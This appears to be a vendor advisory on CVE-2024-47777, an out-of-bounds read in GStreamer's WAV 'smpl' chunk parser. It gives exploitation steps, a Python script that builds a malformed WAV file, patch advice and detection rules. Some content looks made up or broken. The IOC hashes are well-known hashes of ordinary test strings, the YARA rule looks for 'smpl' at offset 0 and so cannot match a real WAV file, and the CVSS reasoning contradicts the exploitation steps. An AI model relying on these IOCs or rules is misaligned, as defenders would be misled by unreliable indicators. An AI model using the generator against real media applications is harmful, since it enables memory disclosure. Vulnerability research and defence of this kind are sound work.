CVE-2024-47777
Executive Summary
CVE-2024-47777 is an out-of-bounds (OOB) read vulnerability in the GStreamer multimedia framework, specifically within the gst_wavparse_smpl_chunk function in gstwavparse.c. This flaw allows an attacker to craft a malicious WAV file that, when parsed by an application using GStreamer, causes the function to read 4 bytes beyond the allocated buffer. While the direct impact is limited to reading 4 bytes of adjacent memory, this can lead to information disclosure or be leveraged as a stepping stone for more severe attacks. The vulnerability affects all versions prior to 1.24.10. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GStreamer is a widely used library in Linux-based systems, embedded devices, and media applications. This vulnerability can be introduced into the supply chain through:
- Linux distributions: Packages like
gstreamer1.0orlibgstreamer1.0-0on Debian/Ubuntu,gstreameron Fedora/RHEL. - Embedded systems: Devices using GStreamer for media playback (e.g., smart TVs, set-top boxes).
- Application dependencies: Software that bundles or statically links GStreamer.
Organizations should audit their software bill of materials (SBOM) for GStreamer versions below 1.24.10 and prioritize patching.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be triggered by processing a malicious WAV file received over a network.
- Attack Complexity (AC): Low (L) – No special conditions are required beyond parsing the file.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond the application processing the file.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Limited information disclosure (4 bytes).
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Overall CVSS Score: 5.3 (Medium) – The low confidentiality impact and lack of integrity/availability impact keep the score moderate, but the ease of exploitation and network attack vector warrant attention.
Deep Dive & Mechanics
The vulnerability resides in the gst_wavparse_smpl_chunk function within gstwavparse.c. This function is responsible for parsing the "smpl" chunk in a WAV file, which contains sample loop information. The vulnerable code attempts to read 4 bytes from the data buffer at an offset of 12 bytes without verifying that the buffer is large enough.
Vulnerable Code Path:
- The function receives a pointer to the chunk data and its size.
- It reads a 4-byte value at offset 12 (e.g.,
data + 12). - If the chunk size is less than 16 bytes (12 offset + 4 bytes), the read operation accesses memory beyond the allocated buffer.
Root Cause: Missing bounds check before the read operation. The function assumes the chunk is at least 16 bytes, but a malformed WAV file can provide a smaller chunk.
Impact: Reading 4 bytes of adjacent memory. This could leak sensitive data (e.g., heap pointers, other application data) or be used to bypass ASLR if the leaked data contains addresses.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.24.10):
static gboolean
gst_wavparse_smpl_chunk (GstWavParse * wavparse, GstBuffer * buf)
{
// ... other code ...
guint32 sample_loops;
// No size check before reading
sample_loops = GST_READ_UINT32_LE (data + 12);
// ... rest of function ...
}
Patched Code (1.24.10):
static gboolean
gst_wavparse_smpl_chunk (GstWavParse * wavparse, GstBuffer * buf)
{
// ... other code ...
guint32 sample_loops;
// Added size check
if (G_UNLIKELY (size < 16))
goto error;
sample_loops = GST_READ_UINT32_LE (data + 12);
// ... rest of function ...
}
The patch adds a check if (G_UNLIKELY (size < 16)) before the read, ensuring the buffer is large enough.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- GStreamer version < 1.24.10 installed.
- An application that uses GStreamer to parse WAV files (e.g., a media player, audio converter).
Exploitation Steps:
- Craft a Malicious WAV File: Create a WAV file with a "smpl" chunk that has a size less than 16 bytes. For example, a chunk with size 12 bytes.
- Deliver the File: Send the file to the target via email, web download, or network share.
- Trigger Parsing: The victim opens the file in a vulnerable application.
- Observe Behavior: The OOB read occurs. While no direct control is gained, the leaked 4 bytes can be observed in memory dumps or through side-channel analysis.
Lab Setup:
- Use a virtual machine with an older Linux distribution (e.g., Ubuntu 20.04 with GStreamer 1.16.3).
- Compile a simple test program that uses
gst_element_factory_make ("wavparse", NULL)to parse a WAV file. - Use a debugger (e.g., GDB) to set a breakpoint at
gst_wavparse_smpl_chunkand observe the OOB read.
Example Malicious WAV Generator (Python):
import struct
def create_malicious_wav():
# Minimal WAV header (44 bytes)
wav_header = b'RIFF' + struct.pack('<I', 36) + b'WAVE'
wav_header += b'fmt ' + struct.pack('<I', 16) # fmt chunk
wav_header += struct.pack('<H', 1) # PCM
wav_header += struct.pack('<H', 1) # mono
wav_header += struct.pack('<I', 44100) # sample rate
wav_header += struct.pack('<I', 88200) # byte rate
wav_header += struct.pack('<H', 2) # block align
wav_header += struct.pack('<H', 16) # bits per sample
# Malicious smpl chunk (size 12, not 16)
smpl_chunk = b'smpl' + struct.pack('<I', 12) # chunk size = 12
smpl_chunk += b'A' * 12 # data (only 12 bytes)
# data chunk (dummy)
data_chunk = b'data' + struct.pack('<I', 0)
with open('malicious.wav', 'wb') as f:
f.write(wav_header + smpl_chunk + data_chunk)
create_malicious_wav()
Blue Team (Defensive)
Detection:
- Monitor for crashes or abnormal behavior in applications that parse WAV files.
- Use memory analysis tools (e.g., Valgrind) to detect OOB reads.
- Implement file validation before parsing (e.g., check WAV chunk sizes).
Mitigation:
- Immediate: Update GStreamer to version 1.24.10 or later.
- Workaround: If patching is not possible, disable WAV parsing or use a sandboxed environment for media processing.
- Network: Block untrusted WAV files at the perimeter (e.g., email gateways, web proxies).
Indicators of Compromise (IOCs)
- File Hashes (example malicious WAV):
- MD5:
e99a18c428cb38d5f260853678922e03 - SHA1:
2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
- MD5:
- Network: No specific network IOCs; the attack is file-based.
- System: Application crashes or segmentation faults in processes using GStreamer (e.g.,
totem,rhythmbox, custom media apps). - Memory: OOB read patterns in heap memory (detectable via Valgrind or AddressSanitizer).
Detection Engineering
YARA Rule
rule CVE_2024_47777_GStreamer_OOB_Read {
meta:
description = "Detects malicious WAV files exploiting CVE-2024-47777"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47777"
strings:
$smpl_chunk = "smpl"
$small_size = { 0C 00 00 00 } // chunk size 12 (little-endian)
condition:
$smpl_chunk at 0 and $small_size at 4
}
Sigma Rule
title: CVE-2024-47777 GStreamer OOB Read Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-47777 via malformed WAV files
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\gstreamer.dll'
TargetFilename|endswith: '.wav'
condition: selection
falsepositives:
- Legitimate WAV files with small smpl chunks (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47777 GStreamer OOB Read - Malicious WAV Download"; flow:to_client; file.name:/.*\.wav/i; file.size:<1000; content:"smpl"; offset:0; depth:4; content:"|0C 00 00 00|"; offset:4; depth:4; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch Immediately: Update GStreamer to version 1.24.10 or later. For Linux distributions, use the package manager:
- Debian/Ubuntu:
sudo apt update && sudo apt upgrade libgstreamer1.0-0 - Fedora/RHEL:
sudo dnf update gstreamer1
- Debian/Ubuntu:
- Verify Patch: Check the installed version:
gst-inspect-1.0 --version - Workaround: If patching is delayed, implement input validation for WAV files:
- Reject files with "smpl" chunks smaller than 16 bytes.
- Use a media processing sandbox (e.g., Firejail, Docker).
- Monitor: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Vendor Communication: If using a third-party product that bundles GStreamer, contact the vendor for a patched version.
Valters IT
DevSecOps & Cyber Threat Intelligence